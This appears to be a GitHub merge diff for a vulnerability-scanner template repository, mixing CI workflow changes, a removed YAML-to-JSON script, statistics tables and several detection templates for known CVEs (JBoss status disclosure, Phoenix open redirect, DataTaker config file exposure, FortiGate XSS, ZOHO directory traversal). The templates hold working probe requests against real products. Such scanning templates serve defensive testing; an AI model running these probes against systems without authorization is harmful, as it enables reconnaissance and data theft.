Merge pull request #6930 from projectdiscovery/CVE-2020-16846

Update CVE-2020-16846.yaml
2026-11-07 08:36:19 -10:00 · 2023-03-22 08:55:41 +05:30 · 2023-03-21 14:09:29 +05:30 · 2023-03-02 13:37:07 +05:30 · 2023-03-02 13:34:02 +05:30 · 2023-03-02 04:26:26 +00:00
625 changed files with 3248 additions and 10356 deletions
@@ -1,30 +0,0 @@
-# Set to true to add reviewers to pull requests
-addReviewers: true
-
-# Set to true to add assignees to pull requests
-addAssignees: true
-
-# A list of reviewers to be added to pull requests (GitHub user name)
-reviewers:
-  - ritikchaddha
-  - DhiyaneshGeek
-  - pussycat0x
-
-# A number of reviewers added to the pull request
-# Set 0 to add all the reviewers (default: 0)
-numberOfReviewers: 1
-
- # A list of assignees, overrides reviewers if set
-assignees:
-  - DhiyaneshGeek
-  - pussycat0x
-  - ritikchaddha
-
-# A number of assignees to add to the pull request
-# Set to 0 to add all of the assignees.
-# Uses numberOfReviewers if unset.
-numberOfAssignees: 1
-
-# A list of keywords to be skipped the process that add reviewers if pull requests include it
-# skipKeywords:
-#   - wip
@@ -1,92 +0,0 @@
-package main
-
-import (
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path/filepath"
-	"strings"
-
-	"gopkg.in/yaml.v3"
-)
-
-type Classification struct {
-	CVSSScore string `yaml:"cvss-score,omitempty"`
-}
-
-type Info struct {
-	Name        string         `yaml:"name"`
-	Severity    string         `yaml:"severity"`
-	Description string         `yaml:"description"`
-	Classification Classification `yaml:"classification,omitempty"`
-}
-
-type Data struct {
-	ID          string `yaml:"id"`
-	Info        Info   `yaml:"info"`
-	FilePath    string `json:"file_path"`
-}
-
-func main() {
-	if len(os.Args) != 3 {
-		fmt.Println("Usage: go run main.go <directory> <output_file>")
-		os.Exit(1)
-	}
-
-	directory := os.Args[1]
-	outputFile := os.Args[2]
-
-	var data []Data
-
-	err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
-		if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
-			yamlFile, err := ioutil.ReadFile(path)
-                if err != nil {
-                    fmt.Printf("Error reading YAML file %s: %v\n", path, err)
-                    return err
-                }
-    
-                var d Data
-                err = yaml.Unmarshal(yamlFile, &d)
-                if err != nil {
-                    fmt.Printf("Error unmarshalling YAML file %s: %v\n", path, err)
-                    return err
-                }
-                if d.Info.Classification.CVSSScore == "" {
-                    d.Info.Classification.CVSSScore = "N/A"
-                }
-                if d.Info.Classification == (Classification{}) {
-                    d.Info.Classification.CVSSScore = "N/A"
-                }
-                d.FilePath = path
-    
-                data = append(data, d)
-            }
-            return nil
-        })
-    
-        if err != nil {
-            fmt.Printf("Error reading directory: %v\n", err)
-            os.Exit(1)
-        }
-    
-        var jsonData []byte
-        for _, d := range data {
-            temp, err := json.Marshal(d)
-            if err != nil {
-                fmt.Printf("Error marshalling JSON: %v\n", err)
-                os.Exit(1)
-            }
-            jsonData = append(jsonData, temp...)
-            jsonData = append(jsonData, byte('\n'))
-        }
-        err = ioutil.WriteFile(outputFile, jsonData, 0644)
-        if err != nil {
-            fmt.Printf("Error writing JSON data to file: %v\n", err)
-            os.Exit(1)
-        }
-    
-        fmt.Println("JSON data written to", outputFile)
-    }
-    
@@ -3,26 +3,28 @@ name: ✍🏻 CVE Annotate
 on:
  push:
    branches:
-      - main
-    paths:
-      - 'cves/**.yaml'
+      - master
  workflow_dispatch:

 jobs:
  docs:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v3
-        with: 
-          fetch-depth: 0
+      - uses: actions/checkout@v2

-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
+      - name: Get Github tag
+        id: meta
+        run: |
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

-      - name: cve-annotate install
-        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@latest
+      - name: Setup CVE annotate
+        if: steps.meta.outputs.TAG != ''
+        env:
+          VERSION: ${{ steps.meta.outputs.TAG }}
+        run: |
+          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
+          sudo unzip cve-annotate.zip -d /usr/local/bin
+        working-directory: /tmp

      - name: Generate CVE Annotations
        id: cve-annotate
@@ -1,38 +0,0 @@
-name: Generate JSON Metadata of CVE Templates 
-
-on:
-  push:
-    tags:
-      - '*'
-  workflow_dispatch:
-
-jobs:
-  build:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@master
-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
-          check-latest: true
-          
-      - name: run yaml2json.go to generate cves.json
-        run: |
-           go env -w GO111MODULE=off
-           go get gopkg.in/yaml.v3
-           go run .github/scripts/yaml2json.go /home/runner/work/nuclei-templates/nuclei-templates/cves/ cves.json
-          
-      - name: Commit files
-        run: |
-          git pull
-          git add cves.json
-          git config --local user.email "[email protected]"
-          git config --local user.name "GitHub Action"
-          git commit -m "Auto Generated cves.json [$(date)] :robot:" -a
-
-      - name: Push changes
-        uses: ad-m/github-push-action@master
-        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: master
@@ -3,9 +3,7 @@ name: 🥳 New Template List
 on:
  push:
    branches:
-      - main
-    paths:
-      - '**.yaml'
+      - master
  workflow_dispatch:

 jobs:
@@ -1,10 +1,6 @@
 name: ❄️ YAML Lint

-on:
-  pull_request:
-    paths:
-      - '**.yaml'
-  workflow_dispatch:
+on: [push, pull_request]

 jobs:
  build:
@@ -11,12 +11,9 @@ jobs:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@master
-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
-          check-latest: true
-          cache: true
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.18

      - name: install checksum generator
        run: |
@@ -3,19 +3,16 @@ name: 📑 Template-DB Indexer
 on:
  push:
    branches:
-      - main
-    paths:
-      - '**.yaml'
+      - master
  workflow_dispatch:

 jobs:
  index:
    runs-on: ubuntu-latest
    steps:
-      - name: Set up Go
-        uses: actions/setup-go@v3
+      - uses: actions/setup-go@v2
        with:
-          go-version: 1.19
+          go-version: 1.17

      - name: Installing Indexer
        run: |
@@ -1,26 +1,26 @@
 name: 🛠 Template Validate

-on:
-  pull_request:
-    paths:
-      - '**.yaml'
-  workflow_dispatch:
+on: [ push, pull_request ]

 jobs:
  build:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v3
-        with: 
-          fetch-depth: 0
+      - uses: actions/checkout@v2

-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
+      - name: Get Github tag
+        id: meta
+        run: |
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

-      - name: nuclei install
-        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
+      - name: Setup Nuclei
+        if: steps.meta.outputs.TAG != ''
+        env:
+          VERSION: ${{ steps.meta.outputs.TAG }}
+        run: |
+          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
+          sudo unzip nuclei*.zip -d /usr/local/bin
+        working-directory: /tmp

      - name: Template Validation
        run: |
@@ -10,14 +10,10 @@ jobs:
  build:
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
        with: 
-          fetch-depth: 0
-
-      - name: Set up Go
-        uses: actions/setup-go@v3
-        with:
-          go-version: 1.19
+          go-version: 1.18

      - name: Installing Template Stats
        run: |
@@ -55,4 +51,5 @@ jobs:
      - name: Push changes
        uses: ad-m/github-push-action@master
        with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master
@@ -1,10 +1,8 @@
 name: ✨ WordPress Plugins - Update
-
 on:
  schedule:
    - cron: "0 4 * * *" # every day at 4am UTC
  workflow_dispatch:
-
 jobs:
  Update:
    runs-on: ubuntu-latest
@@ -1,30 +0,0 @@
-cves/2017/CVE-2017-1000163.yaml
-cves/2022/CVE-2022-1168.yaml
-cves/2022/CVE-2022-32429.yaml
-cves/2022/CVE-2022-39195.yaml
-exposed-panels/completeview-web-panel.yaml
-exposed-panels/connect-box-login.yaml
-exposed-panels/esphome-panel.yaml
-exposed-panels/fortinet/fortios-management-panel.yaml
-exposed-panels/mystrom-panel.yaml
-exposed-panels/pulsar-admin-console.yaml
-exposed-panels/pulsar-adminui-panel.yaml
-exposed-panels/pulsar360-admin-panel.yaml
-exposed-panels/saltstack-config-panel.yaml
-exposed-panels/sqlbuddy-panel.yaml
-exposures/configs/cypress-web-config.yaml
-file/android/deep-link-detect.yaml
-headless/headless-open-redirect.yaml
-miscellaneous/exposed-file-upload-form.yaml
-misconfiguration/esphome-dashboard.yaml
-misconfiguration/installer/nagiosxi-installer.yaml
-misconfiguration/rethinkdb-admin-console.yaml
-misconfiguration/sound4-directory-listing.yaml
-misconfiguration/syncthing-dashboard.yaml
-misconfiguration/webalizer-statistics.yaml
-technologies/default-lighttpd-placeholder-page.yaml
-vulnerabilities/other/academy-lms-xss.yaml
-vulnerabilities/other/slims-xss.yaml
-vulnerabilities/other/sound4-file-disclosure.yaml
-vulnerabilities/other/tikiwiki-xss.yaml
-vulnerabilities/vmware/vmware-cloud-xss.yaml
@@ -40,20 +40,20 @@ An overview of the nuclei template project, including statistics on unique tags,

 ## Nuclei Templates Top 10 statistics

-|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1575 | dhiyaneshdk  |   708 | cves             |  1552 | info     |  1919 | http    |  4631 |
-| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1170 | network |    84 |
-| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
-| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
-| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   372 | low      |   294 |         |       |
-| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
-| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
-| xss       |   549 | dwisiswant0  |   171 | workflows        |   190 |          |       |         |       |
-| lfi       |   522 | 0x_akoko     |   171 | default-logins   |   122 |          |       |         |       |
-| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |

-**337 directories, 5307 files**.
+**335 directories, 5229 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1575},{"name":"panel","count":803},{"name":"wordpress","count":684},{"name":"edb","count":583},{"name":"wp-plugin","count":579},{"name":"exposure","count":573},{"name":"tech","count":567},{"name":"xss","count":549},{"name":"lfi","count":522},{"name":"cve2021","count":375},{"name":"rce","count":352},{"name":"packetstorm","count":295},{"name":"cve2022","count":283},{"name":"wpscan","count":268},{"name":"misconfig","count":242},{"name":"token-spray","count":237},{"name":"cve2020","count":224},{"name":"unauth","count":211},{"name":"wp","count":201},{"name":"top-200","count":200},{"name":"","count":195},{"name":"config","count":173},{"name":"kev","count":168},{"name":"cve2018","count":145},{"name":"default-login","count":139},{"name":"cve2019","count":138},{"name":"joomla","count":135},{"name":"iot","count":132},{"name":"apache","count":131},{"name":"oast","count":128},{"name":"sqli","count":126},{"name":"authenticated","count":124},{"name":"cve2010","count":111},{"name":"files","count":101},{"name":"top-100","count":100},{"name":"router","count":95},{"name":"redirect","count":91},{"name":"login","count":89},{"name":"network","count":88},{"name":"devops","count":76},{"name":"token","count":76},{"name":"ssrf","count":75},{"name":"takeover","count":74},{"name":"cve2017","count":71},{"name":"auth-bypass","count":69},{"name":"cms","count":67},{"name":"file","count":66},{"name":"oracle","count":63},{"name":"install","count":63},{"name":"intrusive","count":60},{"name":"seclists","count":58},{"name":"disclosure","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"logs","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":41},{"name":"debug","count":40},{"name":"vmware","count":39},{"name":"vulhub","count":38},{"name":"atlassian","count":38},{"name":"tenable","count":36},{"name":"traversal","count":35},{"name":"springboot","count":35},{"name":"injection","count":34},{"name":"huntr","count":32},{"name":"generic","count":32},{"name":"jira","count":32},{"name":"kubernetes","count":31},{"name":"listing","count":31},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"sap","count":25},{"name":"misc","count":25},{"name":"aws","count":25},{"name":"microsoft","count":25},{"name":"cnvd","count":25},{"name":"proxy","count":23},{"name":"jndi","count":23},{"name":"manageengine","count":22},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"zoho","count":22},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"api","count":21},{"name":"cicd","count":20},{"name":"deserialization","count":20},{"name":"k8s","count":20},{"name":"weblogic","count":20},{"name":"cloud","count":20},{"name":"camera","count":19},{"name":"tomcat","count":19},{"name":"ibm","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"jenkins","count":17},{"name":"struts","count":17},{"name":"wavlink","count":17},{"name":"ftp","count":17},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"printer","count":16},{"name":"msf","count":16},{"name":"fortinet","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"nginx","count":15},{"name":"amazon","count":15},{"name":"xxe","count":15},{"name":"status","count":14},{"name":"lfr","count":14},{"name":"android","count":14},{"name":"hp","count":14},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"cve2008","count":13},{"name":"confluence","count":13},{"name":"magento","count":13},{"name":"woocommerce","count":13},{"name":"rails","count":12},{"name":"vpn","count":12},{"name":"netgear","count":12},{"name":"github","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"fortigate","count":12},{"name":"zyxel","count":12},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"graphql","count":12},{"name":"backup","count":12},{"name":"airflow","count":11},{"name":"webserver","count":11},{"name":"cnvd2021","count":11},{"name":"azure","count":11},{"name":"mail","count":11},{"name":"ssl","count":11},{"name":"backdoor","count":11},{"name":"cisa","count":11},{"name":"admin","count":10},{"name":"spring","count":10},{"name":"glpi","count":10},{"name":"jolokia","count":10},{"name":"ruby","count":10},{"name":"django","count":10},{"name":"dell","count":10},{"name":"laravel","count":10},{"name":"git","count":10},{"name":"coldfusion","count":10},{"name":"grafana","count":10},{"name":"sonicwall","count":9},{"name":"zimbra","count":9},{"name":"windows","count":9},{"name":"wso2","count":9},{"name":"fastjson","count":9},{"name":"zabbix","count":9},{"name":"scada","count":9},{"name":"npm","count":9},{"name":"ssti","count":9},{"name":"phpmyadmin","count":Line truncated
+{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
@@ -1,12 +1,12 @@
-|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1575 | dhiyaneshdk  |   708 | cves             |  1552 | info     |  1919 | http    |  4631 |
-| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1170 | network |    84 |
-| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
-| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
-| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   372 | low      |   294 |         |       |
-| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
-| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
-| xss       |   549 | dwisiswant0  |   171 | workflows        |   190 |          |       |         |       |
-| lfi       |   522 | 0x_akoko     |   171 | default-logins   |   122 |          |       |         |       |
-| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
@@ -1,37 +0,0 @@
-id: CVE-2010-1429
-
-info:
-  name: JBossEAP - Sensitive Information Disclosure
-  author: R12W4N
-  severity: low
-  description: |
-    Red Hat JBoss Enterprise Application Platform (aka JBoss EAP or JBEAP) 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 allows remote attackers to obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2010-1429
-    - https://nvd.nist.gov/vuln/detail/CVE-2008-3273
-    - https://rhn.redhat.com/errata/RHSA-2010-0377.html
-    - http://securitytracker.com/id?1023918
-  classification:
-    cve-id: CVE-2010-1429
-  metadata:
-    shodan-query: title:"JBoss"
-    verified: "true"
-  tags: cve,cve2010,jboss,eap,tomcat,exposure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/status?full=true"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "JVM"
-          - "memory"
-          - "localhost/"
-        condition: and
-
-      - type: status
-        status:
-          - 200
@@ -1,10 +1,10 @@
 id: CVE-2016-6601

 info:
-  name: ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion
+  name: ZOHO WebNMS Framework 5.2 and 5.2 SP1 - Directory Traversal
  author: 0x_Akoko
  severity: high
-  description: ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.
+  description: Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
    - https://www.exploit-db.com/exploits/40229/
@@ -30,5 +30,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -1,28 +0,0 @@
-id: CVE-2017-1000163
-info:
-  name: The Phoenix Framework versions 1.0.0 - Open redirect
-  author: 0x_Akoko
-  severity: medium
-  description: The Phoenix Framework versions 1.0.0 through 1.0.4, 1.1.0 through 1.1.6, 1.2.0, 1.2.2 and 1.3.0-rc.0 are vulnerable to unvalidated URL redirection, which may result in phishing or social engineering attacks.
-  reference:
-    - https://elixirforum.com/t/security-releases-for-phoenix/4143
-    - https://www.cvedetails.com/cve/CVE-2017-1000163
-    - https://vuldb.com/?id.109587
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2017-1000163
-    cwe-id: CWE-601
-  tags: cve,cve2017,redirect,phoenix
-
-requests:
-  - method: GET
-
-    path:
-      - '{{BaseURL}}/?redirect=/\interact.sh'
-
-    matchers:
-      - type: regex
-        regex:
-          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
-        part: header
@@ -15,7 +15,7 @@ info:
    cvss-score: 8.2
    cve-id: CVE-2017-10075
  metadata:
-    google-query: inurl:"/cs/idcplg"
+    google-dork: inurl:"/cs/idcplg"
    verified: "true"
  tags: cve,cve2017,xss,oracle

@@ -1,45 +0,0 @@
-id: CVE-2017-11165
-
-info:
-  name: DataTaker DT80 dEX 1.50.012 - Sensitive Configurations Exposure
-  author: theabhinavgaur
-  severity: critical
-  description: |
-    dataTaker DT80 dEX 1.50.012 allows remote attackers to obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI.
-  reference:
-    - https://www.exploit-db.com/exploits/45094
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-11165
-    - https://packetstormsecurity.com/files/143328/DataTaker-DT80-dEX-1.50.012-Sensitive-Configuration-Exposure.html
-    - https://www.exploit-db.com/exploits/42313/
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2017-11165
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: http.title:"datataker"
-    verified: "true"
-  tags: lfr,edb,cve,cve2017,datataker,config,packetstorm,exposure
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/services/getFile.cmd?userfile=config.xml"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "COMMAND_SERVER"
-          - "<loggerSettings>"
-          - "config id=\"config"
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - "text/xml"
-
-      - type: status
-        status:
-          - 200
@@ -1,16 +1,16 @@
 id: CVE-2017-14186

 info:
-  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
+  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
  author: johnk3r
  severity: medium
  description: |
-    FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
+    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
    - https://fortiguard.com/advisory/FG-IR-17-242
    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
@@ -40,5 +40,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/01/11
@@ -4,36 +4,32 @@ info:
  name: Apache Struts 2 - Remote Command Execution
  author: Random_Robbie
  severity: critical
-  description: |
-    Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
  reference:
    - https://github.com/mazen160/struts-pwn
